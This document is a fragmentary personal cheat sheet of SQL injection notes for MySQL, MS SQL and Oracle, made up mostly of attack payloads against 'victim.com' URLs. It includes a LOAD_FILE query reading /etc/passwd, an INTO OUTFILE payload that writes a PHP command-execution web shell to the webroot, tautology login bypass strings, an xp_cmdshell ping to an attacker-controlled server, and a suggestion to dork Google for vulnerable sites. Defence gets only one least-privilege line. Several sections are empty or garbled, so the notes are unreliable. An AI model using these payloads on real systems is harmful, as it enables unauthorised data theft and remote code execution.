##################################################### ## == SQL Injection: Attack & Defence Notes == ## #####################################################
Space -
|| - , - . - */ - ' - " -
http://www.victim.com/id=1||utl_inaddr.get_host_address(local)
http://www.vimtim.com/hint=*/ from dual
LOAD_FILE -- reads a file returns its contains as a string.
Ex:
1 UNION ALL SELECT LOAD_FILE('/etc/passwd')
TIp:
Can write out to a file with SQL:
1 UNION SELECT "<? system($_REQUEST['cmd'); ?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"
SELECT * FROM TABLE WHERE USERID = 1 UNION ALL SELECT LOAD_FILE('/etc/passwd')
MicroSoft SQL:
default accts:
MySQL:
default accts:
SHOW DATABASES;
SHOW TABLES;
Oracle:
default accts:
NB: - There are lots more, and sometimes default passwords.
-- Oracle statement to enumerate all accessible tables for current user:
SELECT OWNER, TABLE_NAME FROM ALL_TABLES ORDER BY TABLE_NAME;
-- MySQL statement to enumerate all accessible tables and databases for
-- the current user:
SELECT table_schema, table_name FROM information_schema.tables;
-- MS SQL statement to enumerate all accessible tables using the system
-- tables:
SELECT name FROM sysobjects WHERE xtype = 'U';
-- MS SQL statement to enumerate all accessible tables using the catalog
-- views:
SELECT name FROM sys.tables;
NB: - Not passible to hide or revoke access to INFORMATION_SCHEMA
virtual database within MySQL.
BP: - Do it least privilege via the application, seprate privileged
roles and functions.
Rules: Things you know, find out:
Inputs to a Server:
Try these! If the two requests act the same, could be a vuln.
For MS-SQL and Oracle:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'+'kes
For MySQL:
http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi' 'kes
## READ THIS for Error Results ##
Results from script logic and Web server receiving an db error: One of 5 things:
## End of Error Results ## NB: (quote) Ability to identify the remote database is paramount to
successfully progressing the attack and moving on to further exploitation. (/quote)
####################################################### ## More Random Info about SQLi ## #######################################################
Search google for these SQL Injection Vulnerable Dorks:
' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Try using double quote (") if single quote (') is not working.
The semi-colon ends the last SQL query and starts a new one. Setup a server at 10.10.1.2 and check if it receives a ICMP packet:
If no ping, administrator has limited Web User access to these stored procedures.